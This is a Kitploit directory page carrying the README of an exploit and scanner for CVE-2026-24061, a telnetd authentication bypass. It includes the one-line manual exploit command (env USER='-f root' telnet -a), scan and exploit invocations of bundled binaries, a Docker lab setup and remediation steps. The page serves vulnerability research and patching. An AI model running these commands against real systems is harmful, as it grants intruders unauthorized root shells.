Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061 — Exploit and scanner for CVE-2026-24061, a telnetd authentication bypass that grants root shell via crafted USER environment variable. Includes Docker environment setup and cross-platform exploit binaries. | Kitploit
Tools/GitHubGitHub/parad0x7e/cve-2026-24061
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthenticationRemote Access Tool
GitHubparad0x7e/cve-2026-24061

CVE-2026-24061

Exploit and scanner for CVE-2026-24061, a telnetd authentication bypass that grants root shell via crafted USER environment variable. Includes Docker environment setup and cross-platform exploit binaries.

View Repository
489 months agoNot yet reviewed
Share

CVE-2026-24061: telnetd Authentication Bypass Vulnerability

CVE-2026-24061 is an authentication bypass vulnerability in telnetd that allows attackers to bypass identity verification through specific combinations of environment variables and directly obtain a root-privileged shell.

There is a flaw in telnetd's authentication logic. When using the -a option (automatic login) combined with a specific USER environment variable (such as -f root), it is possible to bypass the normal authentication process and log in directly as the root user.

Introduction

GNU InetUtils is a collection of basic network tools under the GNU project. It contains many traditional network clients and daemons, such as ftp, telnet, rsh, rlogin, tftp, etc., providing a comprehensive and GNU-style network component library. telnetd is the server program in this toolkit responsible for handling incoming Telnet connection requests, with the primary task of providing remote users with an interactive terminal interface (usually a Shell).

How It Works

  1. Usually monitored by inetd or xinetd on port 23. When a request arrives, telnetd is started.
  2. Handles Telnet protocol-specific option negotiation (such as terminal type, window size, character set, etc.).
  3. Usually calls the system's underlying login program to verify the username and password.
  4. After successful login, it allocates a pseudo-terminal to the user and starts the specified Shell.

References

  • https://github.com/yanxinwu946/CVE-2026-24061--telnetd
  • https://github.com/vulhub/vulhub/
  • https://forum.butian.net/share/4766

Environment Setup

First, download this repository locally. The directory structure is as follows:

In this directory, execute the following command to start the vulnerable environment for CVE-2026-24061:

docker compose up -d --build

After startup, the telnet service will run on 0.0.0.0:2323

Vulnerability Principle

  1. The -a option of telnetd is used to enable automatic login functionality
  2. When -a is enabled, telnetd reads the USER environment variable as the login username
  3. If the USER environment variable is set to -f root, telnetd incorrectly interprets -f as an option flag and root as the target user
  4. This causes the authentication check to be bypassed, establishing a session directly as the root user

Vulnerability Exploitation

Manual Exploitation

# Set the USER environment variable and connect with telnet -a
env USER='-f root' telnet -a 127.0.0.1 2323

Upon success, you will obtain an interactive shell with root privileges:

Tool-Based Exploitation

cd exp

You can see three files: exp, exp_darwin, and exp.exe are executable files for Linux, Mac, and Windows respectively. Choose the one you need. Tool source code is also provided. If you need other versions, you can compile them yourself. Here I'm using exp for Linux, which has detailed help information.

Detect if the vulnerability exists (default scans port 23):

./exp -mode scan -target your-ip -port your-port

Exploit the vulnerability and obtain a shell:

./exp -mode exploit -target your-ip -port your-port

How to Fix

  1. Upgrade inetutils-telnetd to the latest version
  2. Disable the telnet service in the production environment and use SSH instead
  3. Deploy the telnet service in an isolated internal network environment
  4. Use a firewall to restrict the access source of the telnet service

Disclaimer

This project is for security research and educational purposes only. Do not use it on unauthorized systems. Users assume all legal responsibility for any consequences resulting from the use of this tool.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    276

Explore all tools

Browse our collection of tools

View all tools →